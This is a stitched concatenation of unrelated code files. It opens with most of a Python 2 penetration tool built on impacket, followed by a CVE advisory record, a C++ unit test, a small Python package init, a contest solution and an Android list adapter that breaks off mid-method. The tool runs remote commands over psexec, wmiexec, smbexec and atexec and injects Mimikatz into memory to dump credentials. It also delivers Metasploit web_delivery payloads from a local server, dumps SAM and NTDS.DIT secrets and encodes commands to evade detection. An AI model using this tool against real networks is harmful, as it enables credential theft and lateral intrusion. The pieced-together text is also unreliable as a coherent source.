WMIEXEC Metasploit web_delivery Memory Injector: %(prog)s [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --downloader WMIEXEC Custom Code Memory Injector: %(prog)s [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --executor -c "binary.exe" ATEXEC Command Execution: %(prog)s [-u Administrator] [-p Password1] [-d Domain] [-t target] --atexec -c "Net User" --no-encoder ATEXEC PowerShell Mimikatz Memory Injector: %(prog)s [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --invoker --no-encoder ATEXEC Metasploit web_delivery Memory Injector: %(prog)s [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --downloader --no-encoder ATEXEC Custom Code Memory Injector: %(prog)s [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --executor -c "binary.exe" --no-encoder SECRETSDUMP Custom Code Memory Injector: %(prog)s [-u Administrator] [-p Password1] [-d Domain] [-t target] --secrets-dump Create Pasteable Mimikatz Attack: %(prog)s --invoker -q -v -vv -vvv Create Pasteable web_delivery Attack: %(prog)s --downloader -q -v -vv -vvv Create Pasteable Executor Attack: %(prog)s --executor -q -v -vv -vvv ''' parser = argparse.ArgumentParser(usage=usage, description="A wrapping and execution tool for a some of the most useful impacket tools", epilog="This script oombines specific attacks with dynmaic methods, which allow you to bypass many protective measures.") group1 = parser.add_argument_group('Method') group2 = parser.add_argument_group('Attack') group3 = parser.add_argument_group('SAM and NTDS.DIT Options, used with --secrets-dump') group4 = parser.add_argument_group('Engagement Clean-up') iex_options = parser.add_argument_group('Payload options to tell ranger where to source the attack information') remote_attack = parser.add_argument_group('Remote Target Options') #generator = parser.add_argument_group('Filename for randimization of script') obfiscation = parser.add_argument_group('Tools to obfiscate the execution of scripts') method = group1.add_mutually_exclusive_group() attack = group2.add_mutually_exclusive_group() purging = group4.add_mutually_exclusive_group() sam_dump_options = group3.add_mutually_exclusive_group() iex_options.add_argument("-i", action="store", dest="src_ip", default=None, help="Sets the IP address your attacks will come from defaults to eth0 IP") iex_options.add_argument("-n", action="store", dest="interface", default="eth0", help="Sets the interface your attacks will come from if you do not use the default, default eth0") iex_options.add_argument("-r", action="store", dest="src_port", default="8000", help="Set the port the Mimikatz server is on, defaults to port 8000") iex_options.add_argument("-x", action="store", dest="payload", default=None, help="The name of the file to injected into memory for the executor") iex_options.add_argument("-a", action="store", dest="mim_arg", default=None, help="Allows you to set the argument for the executor attack") iex_options.add_argument("-f", action="store", dest="mim_func", default=None, help="Allows you to set the function or cmdlet name for the executor attack") attack.add_argument("--invoker", action="store_true", dest="invoker", help="Executes Mimikatz-Invoker against target systtems") attack.add_argument("--downloader", action="store_true", dest="downloader", help="Configures the command to use Metasploit's exploit/multi/script/web_delivery") attack.add_argument("--secrets-dump", action="store_true", dest="sam_dump", help="Execute a Secrets Dump, which includes the SAM") attack.add_argument("--executor", action="store_true", dest="executor", help="Execute a PowerShell Script") attack.add_argument("-c", "--command", action="store", dest="command", default="cmd.exe", help="Set the command that will be executed, default is cmd.exe shell") attack.add_argument("--domain-group-members", action="store", dest="domain_group", help="Identifies members of Domain Groups through PowerShell") attack.add_argument("--local-group-members", action="store", dest="local_group", help="Identifies members of Local Groups through PowerShell") attack.add_argument("--get-domain-membership", action="store_true", dest="get_domain", default=False, help="Identifies current user's Domain") attack.add_argument("--get-forest-domains", action="store_true", dest="get_forest_domains", default=False, help="Identifies current user's Domains within the Forest") attack.add_argument("--get-forest", action="store_true", dest="get_forest", default=False, help="Identifies current user's Forrest") attack.add_argument("--get-dc", action="store_true", dest="get_dc", default=False, help="Identifies current user's Domain Controllers") attack.add_argument("--find-la-access", action="store_true", dest="find_local_admin_access", default=False, help="Identifies systems the current user has local admin access to") remote_attack.add_argument("-t", action="store", dest="target", default=None, help="The targets you are attempting to exploit, multiple items can be comma seperated: Accepts IPs, CIDR, Short and Long Ranges") remote_attack.add_argument("-e", action="store", dest="exceptor", default=None, help="The exceptions to the targets you do not want to exploit, yours is inlcuded by default, multiple items can be comma seperated: Accepts IPs, CIDR, Short and Long Ranges") remote_attack.add_argument("-tl", action="store", dest="target_filename", default=None, help="The targets file with systems you want to exploit, delinated by new lines, multiple files can be comma separated") remote_attack.add_argument("-el", action="store", dest="exception_filename", default=None, help="The exceptions file with systems you do not want to exploit, delinated by new lines, multiple files can be comma separated") remote_attack.add_argument("-tnX", action="store", dest="xml_targets", default=None, help="The targets nmap XML with systems you want to exploit, multiple files can be comma separated") remote_attack.add_argument("-enX", action="store", dest="xml_exceptions", default=None, help="The exceptions nmap XML with systems you do not want to exploit, multiple files can be comma separted") remote_attack.add_argument("-sT", action="store_true", dest="scan_tcp", default=False, help="Verify the port is open with nmap TCP Connection scan prior to exploitation") remote_attack.add_argument("-sS", action="store_true", dest="scan_syn", default=False, help="Verify the port is open with nmap SYN Stealth scan prior to exploitation") remote_attack.add_argument("-d", "--dom", action="store", dest="dom", default="WORKGROUP", help="The domain the user is apart of, defaults to WORKGROUP") remote_attack.add_argument("-u", "--usr", action="store", dest="usr", default=None, help="The username that will be used to exploit the system") remote_attack.add_argument("-p", "--pwd", action="store", dest="pwd", default=None, help="The password that will be used to exploit the system") remote_attack.add_argument("--creds-file", action="store", dest="creds_file", default=None, help="A file with multiple lines of credentials with each element deliniated by a space, domains are optional in the file, and can be applied universally to all creds with the --dom argument, examples include: DOMAIN\\user password, user:1000:aad3b435b51404eeaad3b435b51404ee:aad3b435b51404eeaad3b435b51404ee:::, user:1000::aad3b435b51404eeaad3b435b51404ee:::, user:1000:NOPASSWORD:<PASSWORD>:::, user aad3b435b51404eeaad3b435b51404ee:aad3b435b51404eeaad3b435b51404ee, user :aad3b435b51404eeaad3b435b51404ee, user:1000:aad3b435b51404eeaad3b435b51404ee:aad3b435b51404eeaad3b435b51404ee::: DOMAIN, user:1000::aad3b435b51404eeaad3b435b51404ee::: DOMAIN, user:1000:NOPASSWORD:<PASSWORD>::: DOMAIN, user aad3b435b51404eeaad3b435b51404ee:aad3b435b51404eeaad3b435b51404ee DOMAIN, user :aad3b435b51404eeaad3b435b51404ee DOMAIN") remote_attack.add_argument("--creds-matrix", action="store", dest="creds_matrix", default=None, help="Load a credential matrix from previous runs or other tools") method.add_argument("--psexec", action="store_true", dest="psexec_cmd", help="Execute a psexec shell or command over psexec with the -c argument") method.add_argument("--wmiexec", action="store_true", dest="wmiexec_cmd", help="Execute a command or attack with the wmiexec") method.add_argument("--smbexec", action="store_true", dest="smbexec_cmd", help="Execute a smbexec shell") method.add_argument("--atexec", action="store_true", dest="atexec_cmd", help="Execute a command or attack with atexec") attack.add_argument("--scout", action="store_true", dest="netview_cmd", help="Identify logged in users on a target machine") #generator.add_argument("--filename", action="store", dest="filename", default=None, help="The file that the attack script will be dumped to") remote_attack.add_argument("--domain", action="store", dest="target_dom", default=None, help="When querying for details of different domains") remote_attack.add_argument("--aes", action="store", dest="aes_key", default=None, help="The AES Key Option") remote_attack.add_argument("--share", action="store", default="ADMIN$", dest="share", help="The Share to execute against, the default is ADMIN$") remote_attack.add_argument('--mode', action="store", dest="mode", choices=['SERVER','SHARE'], default="SERVER", help="Mode to use for --smbexec, default is SERVER, which requires root access, SHARE does not") remote_attack.add_argument("--protocol", action="store", dest="protocol", choices=['445/SMB','139/SMB'], default="445/SMB", help="The protocol to attack over, the default is 445/SMB") remote_attack.add_argument("--directory", action="store", dest="directory", default="C:\\", help="The directory to either drop the payload or instantiate the session") remote_attack.add_argument("--timeout", action="store", dest="timeout_value", default=30, help="How long you want a test to wait before it is cancelled, the default is 30 seconds") remote_attack.add_argument("--sleep", action="store", dest="sleep_value", default=0, help="How many seconds you want to delay each iteration of tests when multiple hosts or credentials are provided, the default is 0") sam_dump_options.add_argument("--system", action="store", help="The SYSTEM hive to parse") sam_dump_options.add_argument("--security", action="store", help="The SECURITY hive to parse") sam_dump_options.add_argument("--sam", action="store", help="The SAM hive to parse") sam_dump_options.add_argument("--ntds", action="store", help="The NTDS.DIT file to parse") obfiscation.add_argument("--no-encoder", dest="encoder", action="store_false", default=True, help="Set to encode the commands that are being executed") #obfiscation.add_argument("--delivery", action="store", dest="delivery", choices=['web','smb'], default="web", help="Set the type of catapult server the payload will be downloaded from, web or smb") obfiscation.add_argument("--share-name", action="store", dest="share_name", default="ranger", help="Provide a specific share name to reference with SMB delivery") purging.add_argument("--purge", action="store_true", default=False, dest="purging", help="Purges all previous assessment files") parser.add_argument("-l", "--logfile", action="store", dest="log", default="/opt/ranger/log/results.log", type=str, help="The log file to output the results") parser.add_argument("-v", action="count", dest="verbose", default=1, help="Verbosity level, defaults to one, this outputs each command and result") parser.add_argument("-q", action="store_const", dest="verbose", const=0, help="Sets the results to be quiet") parser.add_argument("--update", action="store_true", dest="update", default=False, help="Updates ranger and the supporting libraries") parser.add_argument('--version', action='version', version='%(prog)s 0.71b') args = parser.parse_args() # Argument Validator if len(sys.argv)==1: parser.print_help() sys.exit(1) if args.update: try: os.system("wget https://raw.githubusercontent.com/funkandwagnalls/ranger/master/setup.sh -O /root/setup.sh && chmod a+x /root/setup.sh") except Exception, e: print("[!] An error occurred downloading the update files: %s") % (e) try: os.system("/root/setup.sh && rm /root/setup.sh") except Exception, e: print("[!] An error occurred when executing the installation script: %s") % (e) # Set Constructors verbose = args.verbose # Verbosity level src_port = args.src_port # Port to source the Mimikatz script on #delivery = args.delivery # Uncomment when delivery option for SMB works delivery = "web" share_name = args.share_name log = args.log if ".log" not in log: log = log + ".log" level = logging.DEBUG # Logging level format = logging.Formatter("%(asctime)s [%(levelname)-5.5s] %(message)s") # Log format logger_obj = logging.getLogger() # Getter for logging agent file_handler = logging.FileHandler(args.log) # File Handler #stderr_handler = logging.StreamHandler() # STDERR Handler timeout_value = int(args.timeout_value) sleep_value = int(args.sleep_value) src_ip = args.src_ip # IP to source the Mimikatz script on payload = args.payload # The name of the payload that will be used interface = args.interface # The interface to grab the IP from mim_func = args.mim_func # The function that is executed mim_arg = args.mim_arg # The argument processed by the function invoker = args.invoker # Holds the results for invoker execution executor = args.executor # Holds the results for the executor attack downloader = args.downloader # Holds the results for exploit/multi/script/web_delivery smbexec_cmd = args.smbexec_cmd # Holds the results for smbexec execution wmiexec_cmd = args.wmiexec_cmd # Holds the results for the wmiexec execution psexec_cmd = args.psexec_cmd # Holds the results for the psexec execution atexec_cmd = args.atexec_cmd get_domain = args.get_domain get_forest = args.get_forest get_forest_domains = args.get_forest_domains find_local_admin_access = args.find_local_admin_access get_dc = args.get_dc netview_cmd = args.netview_cmd target_dom = args.target_dom aes = args.aes_key share = args.share protocol = args.protocol directory = args.directory usr = args.usr pwd = args.pwd dom = args.dom target = args.target target_filename = args.target_filename exceptor = args.exceptor exception_filename = args.exception_filename command = args.command #filename = args.filename sam_dump = args.sam_dump mode = args.mode.upper() system = args.system security = args.security sam = args.sam ntds = args.ntds domain_group = args.domain_group local_group = args.local_group encoder = args.encoder xml_targets = args.xml_targets xml_exceptions = args.xml_exceptions scan_tcp = args.scan_tcp scan_syn = args.scan_syn creds_file = args.creds_file creds_matrix = args.creds_matrix targets_list = [] exceptions_list = [] tgt_list = [] exc_list = [] LM = "" NTLM = "" no_output = False execution = "" supplement = "" unprotected_command = "" hash = None methods = False kerberos = False attacks = True method_dict = {} dst = "" test = "" srv = None verify_port = '' verify_service = '' entry = [] processed_xml_targets_dict = {} processed_xml_exceptions_dict = {} creds_list = [] creds_dict = {} temp_key = None SID_temp = None LM_temp = "" hash_temp = None usr_temp = None pwd_temp = None powershell = False NTLM_temp = "" output_cat = {} matrix_list = [] recovery = False cred = None purging = args.purging #Credential Matrix #creds_dict[temp_key] = [SID_temp, LM_temp, NTLM_temp, hash_temp, usr_temp, pwd_temp, dom_temp, local_admin_temp=[], groups_temp={}, logged_in_temp=[]} if purging: purging_func() if invoker or downloader or executor: powershell = True if atexec_cmd and powershell and encoder: sys.exit("[!] atexec can not interpret encoded commands, use the --no-encoder flag, be aware this may get caught by IPS") if smbexec_cmd and powershell: sys.exit("[!] Impacket's smbexec does no function appropriately with PowerShell at this time") if psexec_cmd and powershell: sys.exit("[!] Impacket's psexec does not function appropriately with PowerShell at this time") if smbexec_cmd and command != "cmd.exe": sys.exit("[!] smbexec is used for semi-interactive shells only at this time, try wmiexec, psexec, or atexec instead to run the command") # Hard Kill Control for Processes def signal_handler(signum, frame): print("[!] Signal handler called with signal: %s") % (signum) recovery = True try: print("[*] Attempting to write data for recovery as necessary!") data_writer(creds_dict, dst, final_targets, recovery, logger_obj) except Exception, e: print("[!] Failed to write data to files, the following error occured : %s") % (e) finally: sys.exit(0) # Handler for Ctrl+C signal.signal(signal.SIGINT, signal_handler) # Configure logger formats for STDERR and output file file_handler.setFormatter(format) #stderr_handler.setFormatter(format) # Configure logger object logger_obj.addHandler(file_handler) #logger_obj.addHandler(stderr_handler) logger_obj.setLevel(level) # Get details for catapult server if payload != None: cwd = str(os.path.dirname(payload)) if "/" not in cwd: cwd = str(os.getcwd()) payload = os.path.basename(payload) payload = ''.join(payload) elif delivery == "web": cwd = "/opt/ranger/web/" elif delivery == "smb": cwd = "/opt/ranger/smb/" src_port = 445 if aes != None: kerberos = True #if filename: # payload = filename if smbexec_cmd or wmiexec_cmd or psexec_cmd or atexec_cmd: methods = True if scan_tcp: scan_type = "tcp" elif scan_syn: scan_type = "syn" else: scan_type = None if not (methods or sam_dump or netview_cmd) and (scan_type): sys.exit("[!] If you are going to execute a verification scan you have to choose a method to use for exploiting a target") if creds_file: with open(creds_file) as f: creds_list = [line.rstrip() for line in f] for cred in creds_list: creds_dict = add_to_creds_dict(logger_obj, verbose, creds_dict, dom, cred) elif usr and pwd: creds_dict = add_to_creds_dict(logger_obj, verbose, creds_dict, dom, cred, usr, pwd) #elif creds_matrix and not usr and pwd: # creds_dict = add_to_creds_dict(logger_obj, verbose, creds_dict, dom, cred, usr, pwd) #print(creds_dict) #DEBUG if smbexec_cmd: verify_port, verify_service = protocol.split('/') if atexec_cmd: verify_port, verify_service = protocol.split('/') if psexec_cmd: verify_port, verify_service = protocol.split('/') if wmiexec_cmd: verify_port = "135" if sam_dump: verify_port = "445" if netview_cmd: verify_port = "445" if invoker == None and methods == False: print("[!] This script requires either a command, an invoker attack, or a downloader attack") parser.print_help() sys.exit(1) creds_dict_status = is_empty(creds_dict) if smbexec_cmd or wmiexec_cmd or atexec_cmd or psexec_cmd or sam_dump: method_dict = {"smbexec" : smbexec_cmd, "wmiexec" : wmiexec_cmd, "atexec" : atexec_cmd, "psexec" : psexec_cmd} if not creds_dict and usr == None and pwd == None: sys.exit("[!] If you are trying to exploit a system you need a username and password") if target == None and target_filename == None and xml_targets == None: sys.exit("[!] If you are trying to exploit a system you need at least one target") gateways = get_gateways() network_ifaces = get_networks(gateways) if src_ip == None: try: src_ip = network_ifaces[interface]['addr'] except Exception, e: print("[!] Could not identify an IP address on interface %s") % (str(interface)) if src_ip == None: sys.exit() if target_filename: with open(target_filename) as f: targets_list = [line.rstrip() for line in f] if xml_targets: processed_xml_targets_dict = xml_list_process(xml_targets, verbose) if xml_exceptions: processed_xml_exceptions_dict = xml_list_process(xml_exceptions, verbose) for key, entry in processed_xml_targets_dict.iteritems(): if "tcp" in entry[2] and verify_port in entry[3] and "open" in entry[6]: if verbose > 1: print("[+] Adding %s to target list") % (entry[1]) targets_list.append(entry[1]) else: if verbose > 1: print("[-] Target %s port %s is not open") % (entry[1], verify_port) if verbose > 2: print("[*] Hostname: %s IP: %s Protocol: %s Port: %s Service: %s State: %s MAC address: %s" % (entry[0], entry[1], entry[2], entry[3], entry[4], entry[6], entry[5])) # Process targets if target and "," in target: targets_list.extend(target.split(',')) elif target: targets_list.append(target) if targets_list: for item in targets_list: try: tgt = TargetConverter(item) except Exception, e: print("[!] The following error occurred %s") % (e) sys.exit(1) try: tgt_list.extend(tgt.return_targets()) except Exception, e: print("[!] The following error occurred %s") % (e) sys.exit(1) else: tgt_list.extend(targets_list) # Process exceptions if exception_filename: with open(exception_filename) as f: exceptions_list = [line.rstrip() for line in f] for key, entry in processed_xml_exceptions_dict.iteritems(): if "tcp" in entry[2] and verify_port in entry[3] and "open" in entry[6]: if verbose > 1: print("[+] Adding %s to exceptions list") % (entry[1]) exceptions_list.append(entry[1]) else: if verbose > 1: print("[-] Target %s port %s is not open and as such will not be added to the exception list") % (entry[1], verify_port) if verbose > 2: print("[*] Hostname: %s IP: %s Protocol: %s Port: %s Service: %s State: %s MAC address: %s" % (entry[0], entry[1], entry[2], entry[3], entry[4], entry[6], entry[5])) if exceptor and "," in exceptor: exceptions_list.extend(targets.split(',')) elif exceptor: exceptions_list.append(exceptor) if exceptions_list: for item in exceptions_list: try: exc = TargetConverter(item) except Exception, e: print("[!] The following error occurred %s") % (e) sys.exit(1) try: exc_list.extend(exc.return_targets()) except Exception, e: print("[!] The following error occurred %s") % (e) sys.exit(1) else: exc_list.extend(exceptions_list) exc_list.append(src_ip) tgt_list = list(set(tgt_list)) exc_list = list(set(exc_list)) final_targets = [ip for ip in tgt_list if ip not in exc_list] final_targets.sort() if invoker: execution = "invoker" if mim_func == None: mim_func = "Invoke-Mimikatz" if mim_arg == None: mim_arg = "-DumpCreds" if payload == None: payload = "im.ps1" x = Obfiscator(src_ip, src_port, payload, mim_func, mim_arg, execution, method_dict, domain_group, delivery, share_name, dom, local_group) command, unprotected_command = x.return_command() attacks = True output_cat["invoker"] = True elif executor: if not payload or not mim_func: sys.exit("[!] You must provide at least the name tool to be injected into memory and the cmdlet name to be executed") execution = "executor" x = Obfiscator(src_ip, src_port, payload, mim_func, mim_arg, execution, method_dict, domain_group, delivery, share_name, dom, local_group) command, unprotected_command = x.return_command() attacks = True output_cat["executor"] = True elif downloader: if delivery == "smb": sys.exit("[!] The Metasploit web_delivery module only works through web server based attacks") execution = "downloader" x = Obfiscator(src_ip, src_port, payload, mim_func, mim_arg, execution, method_dict, domain_group, delivery, share_name, dom, local_group) command, unprotected_command = x.return_command() output_cat["downloader"] = True attacks = True elif domain_group: execution = "domain_group" domain_group = "'" + domain_group + "'" if mim_func == None: mim_func = "Get-NetGroup" if mim_arg == None: if not target_dom: mim_arg = "-GroupName %s -Domain %s" % (domain_group, dom) else: mim_arg = "-GroupName %s -Domain %s" % (domain_group, target_dom) if payload == None: payload = "pv.ps1" x = Obfiscator(src_ip, src_port, payload, mim_func, mim_arg, execution, method_dict, domain_group, delivery, share_name, dom, local_group) command, unprotected_command = x.return_command() attacks = True output_cat["domain_group"] = domain_group elif local_group: execution = "local_group" local_group = "'" + local_group + "'" if mim_func == None: mim_func = "Get-NetLocalGroup" if mim_arg == None: mim_arg = "-GroupName %s" % (local_group) if payload == None: payload = "pv.ps1" x = Obfiscator(src_ip, src_port, payload, mim_func, mim_arg, execution, method_dict, domain_group, delivery, share_name, dom, local_group) command, unprotected_command = x.return_command() attacks = True output_cat["local_group"] = local_group elif get_domain: execution = "executor" if mim_func == None: mim_func = "Get-NetDomain" if payload == None: payload = "pv.ps1" x = Obfiscator(src_ip, src_port, payload, mim_func, mim_arg, execution, method_dict, domain_group, delivery, share_name, dom, local_group) command, unprotected_command = x.return_command() attacks = True output_cat["get_domain"] = True elif get_forest: execution = "executor" if mim_func == None: mim_func = "Get-NetForest" if payload == None: payload = "pv.ps1" x = Obfiscator(src_ip, src_port, payload, mim_func, mim_arg, execution, method_dict, domain_group, delivery, share_name, dom, local_group) command, unprotected_command = x.return_command() attacks = True output_cat["get_forest"] = True elif get_forest_domains: execution = "executor" if mim_func == None: mim_func = "Get-NetForestDomains" if payload == None: payload = "pv.ps1" x = Obfiscator(src_ip, src_port, payload, mim_func, mim_arg, execution, method_dict, domain_group, delivery, share_name, dom, local_group) command, unprotected_command = x.return_command() attacks = True output_cat["get_forest_domains"] = True elif get_dc: execution = "executor" if mim_func == None: mim_func = "Get-NetDomainControllers" if payload == None: payload = "pv.ps1" x = Obfiscator(src_ip, src_port, payload, mim_func, mim_arg, execution, method_dict, domain_group, delivery, share_name, dom, local_group) command, unprotected_command = x.return_command() attacks = True output_cat["get_dc"] = True elif find_local_admin_access: execution = "executor" if mim_func == None: mim_func = "Invoke-FindLocalAdminAccess" if payload == None: payload = "pv.ps1" if mim_arg == None: if not target_dom: if sleep_value > 0: mim_arg = "-Domain %s -Delay %s" % (dom, sleep_value) else: mim_arg = "-Domain %s" % (dom) else: if sleep_value > 0: mim_arg = "-Domain %s -Delay %s" % (target_dom, sleep_value) else: mim_arg = "-Domain %s" % (target_dom) x = Obfiscator(src_ip, src_port, payload, mim_func, mim_arg, execution, method_dict, domain_group, delivery, share_name, dom, local_group) command, unprotected_command = x.return_command() attacks = True output_cat["find_local_admin_access"] = True elif netview_cmd: attacks = True output_cat["netview_cmd"] = True elif sam_dump: attacks = True output_cat["sam_dump"] = True elif command: attacks = False output_cat["command"] = True else: attacks = False if not attacks and not methods: sys.exit("[!] You need to provide ranger with details necessary to execute relevant attacks and methods") instructions = instructions_func(payload, src_port, command, unprotected_command, smbexec_cmd, execution, delivery) if methods and sam_dump: sys.exit("[!] You do not execute the --secrets-dump with a method, it should be executed on its own.") if not final_targets and not execution: sys.exit("[!] No targets to exploit or commands to provide") #Prevents the entire matrix being run against ranges, the matrix is intended for data reloads not brute force attacks if creds_matrix and creds_dict_status: creds_dict = matrix_read(creds_matrix) elif not creds_dict_status and ":" not in pwd: sys.exit("[!] The Creds Matrix holds data from other sessions the tool still needs to know what to do, provide an initial credential set to move forward") if pwd and ":" in pwd and not usr and not creds_file: SID, LM, NTLM, hash, usr, pwd, dom_temp = pwd_test(pwd, verbose) elif pwd and usr and ":" in pwd and usr and not creds_file: SID, LM, NTLM, hash, usr, pwd, dom_temp = pwd_test(pwd, verbose, usr) if powershell and not (downloader or sam_dump): try: srv = delivery_server(src_port, cwd, delivery, share_name) if not srv: sys.exit("[!] To execute this attack the catapult server needs to start") if creds_dict: for key, value in creds_dict.iteritems(): SID = value[0] LM = value[1] NTLM = value[2] hash = value[3] usr = value[4] pwd = value[5] dom = value[6] for dst in final_targets: creds_dict = method_func(psexec_cmd, wmiexec_cmd, netview_cmd, smbexec_cmd, atexec_cmd, sam_dump, dst, src_port, cwd, delivery, share_name, usr, hash, pwd, dom, command, unprotected_command, protocol, attacks, kerberos, aes, mode, share, instructions, directory, scan_type, verbose, verify_port, final_targets, system, security, sam, ntds, no_output, encoder, timeout_value, sleep_value, logger_obj, output_cat, methods, creds_dict) time.sleep(sleep_value) else: for dst in final_targets: creds_dict = method_func(psexec_cmd, wmiexec_cmd, netview_cmd, smbexec_cmd, atexec_cmd, sam_dump, dst, src_port, cwd, delivery, share_name, usr, hash, pwd, dom, command, unprotected_command, protocol, attacks, kerberos, aes, mode, share, instructions, directory, scan_type, verbose, verify_port, final_targets, system, security, sam, ntds, no_output, encoder, timeout_value, sleep_value, logger_obj, output_cat, methods, creds_dict) time.sleep(sleep_value) except (Exception, KeyboardInterrupt), e: print("[!] An error occurred: %s") % (e) if srv: srv.terminate() print("[*] Shutting down the catapult %s server for %s") % (str(delivery), str(dst)) else: try: if creds_file: for key, value in creds_dict.iteritems(): SID = value[0] LM = value[1] NTLM = value[2] hash = value[3] usr = value[4] pwd = value[5] dom = value[6] for dst in final_targets: creds_dict = method_func(psexec_cmd, wmiexec_cmd, netview_cmd, smbexec_cmd, atexec_cmd, sam_dump, dst, src_port, cwd, delivery, share_name, usr, hash, pwd, dom, command, unprotected_command, protocol, attacks, kerberos, aes, mode, share, instructions, directory, scan_type, verbose, verify_port, final_targets, system, security, sam, ntds, no_output, encoder, timeout_value, sleep_value, logger_obj, output_cat, methods, creds_dict) time.sleep(sleep_value) else: for dst in final_targets: creds_dict = method_func(psexec_cmd, wmiexec_cmd, netview_cmd, smbexec_cmd, atexec_cmd, sam_dump, dst, src_port, cwd, delivery, share_name, usr, hash, pwd, dom, command, unprotected_command, protocol, attacks, kerberos, aes, mode, share, instructions, directory, scan_type, verbose, verify_port, final_targets, system, security, sam, ntds, no_output, encoder, timeout_value, sleep_value, logger_obj, output_cat, methods, creds_dict) time.sleep(sleep_value) except (Exception, KeyboardInterrupt), e: print("[!] An error occurred: %s") % (e) data_writer(creds_dict, dst, final_targets, recovery, logger_obj) if srv: srv.terminate() print("[*] Shutting down the catapult %s server for %s") % (str(delivery), str(dst)) if __name__ == '__main__': main()
118,877
892
<gh_stars>100-1000 { "schema_version": "1.2.0", "id": "GHSA-9jrm-2jjr-9qf4", "modified": "2022-05-13T01:15:34Z", "published": "2022-05-13T01:15:34Z", "aliases": [ "CVE-2011-2002" ], "details": "win32k.sys in the kernel-mode drivers in Microsoft Windows Vista SP2, Windows Server 2008 SP2, R2, and R2 SP1, and Windows 7 Gold and SP1 does not properly handle TrueType fonts, which allows local users to cause a denial of service (system hang) via a crafted font file, aka \"Win32k TrueType Font Type Translation Vulnerability.\"", "severity": [ ], "affected": [ ], "references": [ { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2011-2002" }, { "type": "WEB", "url": "https://docs.microsoft.com/en-us/security-updates/securitybulletins/2011/ms11-077" }, { "type": "WEB", "url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A13024" }, { "type": "WEB", "url": "http://www.securityfocus.com/bid/49973" }, { "type": "WEB", "url": "http://www.securitytracker.com/id?1026165" } ], "database_specific": { "cwe_ids": [ "CWE-20" ], "severity": "MODERATE", "github_reviewed": false } }
576
4,071
/* * \file onnx_importer_test.cc * \brief The onnx importer test unit */ #include "gtest/gtest.h" #include <thread> #include "blaze/model_importer/onnx_importer.h" namespace blaze { TEST(TestOnnxImporter, TestDNN) { ONNXImporter onnx_importer; onnx_importer.LoadModel("./utest_data/onnx/dnn.onnx"); auto ret = onnx_importer.SaveToTextFile("dnn.blaze.conf"); EXPECT_TRUE(ret); ret = onnx_importer.SaveToBinaryFile("dnn.blaze.dat"); EXPECT_TRUE(ret); } TEST(TestOnnxImporter, TestDin) { ONNXImporter onnx_importer; onnx_importer.LoadModel("./utest_data/onnx/din.onnx"); auto ret = onnx_importer.SaveToTextFile("din.blaze.conf"); EXPECT_TRUE(ret); ret = onnx_importer.SaveToBinaryFile("din.blaze.dat"); EXPECT_TRUE(ret); } TEST(TestOnnxImporter, TestAttention) { ONNXImporter onnx_importer; onnx_importer.LoadModel("./utest_data/onnx/attention.onnx"); auto ret = onnx_importer.SaveToTextFile("attention.blaze.conf"); EXPECT_TRUE(ret); ret = onnx_importer.SaveToBinaryFile("attention.blaze.dat"); EXPECT_TRUE(ret); } } // namespace blaze
481
377
<reponame>aviv-julienjehannet/GenSON from .base import ( SchemaStrategy, TypedSchemaStrategy ) from .scalar import ( Typeless, Null, Boolean, Number, String ) from .array import List, Tuple from .object import Object BASIC_SCHEMA_STRATEGIES = ( Null, Boolean, Number, String, List, Tuple, Object ) __all__ = ( 'SchemaStrategy', 'TypedSchemaStrategy', 'Null', 'Boolean', 'Number', 'String', 'List', 'Tuple', 'Object', 'Typeless', 'BASIC_SCHEMA_STRATEGIES' )
269
994
<filename>Competitions/Codeforces/Codeforces Round #348 (VK Cup 2016 Round 2, Div. 2 Edition)/Little Artem and Presents.cpp #include <iostream> #include <bits/stdc++.h> using namespace std; long long int n, c; int main() { cin>>n; c=2*(n/3); if(n%3!=0) { c++; } cout<<c<<endl; return 0; }
146
460
#include "../../../src/declarative/qml/qdeclarativefastproperties_p.h"
28
384
// // Copyright (c) Microsoft Corporation. All rights reserved. // package com.microsoft.connecteddevices.nearshare; import android.content.Context; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.BaseAdapter; import android.widget.TextView; import com.microsoft.connecteddevices.remotesystems.RemoteSystem; import java.util.ArrayList; import java.util.List; /** * Adapter class for populating the listView of devices. */ public class DeviceListAdapter extends BaseAdapter { private List<RemoteSystem> mDevices = new ArrayList<>(); private Context mContext; private View mSelectedView = null; public DeviceListAdapter(Context mContext) { this.mContext = mContext; } /** * How many items are in the data set represented by this Adapter. * * @return Count of items. */ @Override public int getCount() { return mDevices.size(); } /** * Get the data item associated with the specified position in the data set. * * @param position Position of the item whose data we want within the adapter's * data set. * @return The data at the specified position. */ @Override public Object getItem(int position) { if (position < mDevices.size() && 0 <= position) { return mDevices.get(position); } return null; } /** * Get the row id associated with the specified position in the list. * * @param position The position of the item within the adapter's data set whose row id we want. * @return The id of the item at the specified position. */ @Override public long getItemId(int position) { if (0 <= position && mDevices.size() >= position) { return position; } return 0; } /** * Get a View that displays the data at the specified position in the data set. You can either * create a View manually or inflate it from an XML layout file. When the View is inflated, the * parent View (GridView, ListView...) will apply default layout parameters unless you use * {@link LayoutInflater#inflate(int, ViewGroup, boolean)} * to specify a root view and to prevent attachment to the root. * * @param position The position of the item within the adapter's data set of the item whose view * we want. * @param convertView The old view to reuse, if possible. Note: You should check that this view * is non-null and of an appropriate type before using. If it is not possible to convert * this view to display the correct data, this method can create a new view. * Heterogeneous lists can specify their number of view types, so that this View is * always of the right type (see {@link #getViewTypeCount()} and * {@link #getItemViewType(int)}). * @param parent The parent that this view will eventually be attached to * @return A View corresponding to the data at the specified position. */ @Override public View getView(int position, View convertView, ViewGroup parent) { View listItemView = null; if (null == convertView) { LayoutInflater layoutInflater = (LayoutInflater)mContext.getSystemService(Context.LAYOUT_INFLATER_SERVICE); listItemView = layoutInflater.inflate(R.layout.discovered_device_list_item, null); } else { listItemView = convertView; } TextView deviceNameText = listItemView.findViewById(R.id.txtDeviceName); TextView deviceTypeText = listItemView.findViewById(R.id.txtDeviceType); RemoteSystem entry = mDevices.get(position); if (null != entry) { deviceNameText.setText(entry.getDisplayName()); deviceTypeText.setText(entry.getKind()); } return listItemView; } public void addDevice(RemoteSystem remoteSystem) { 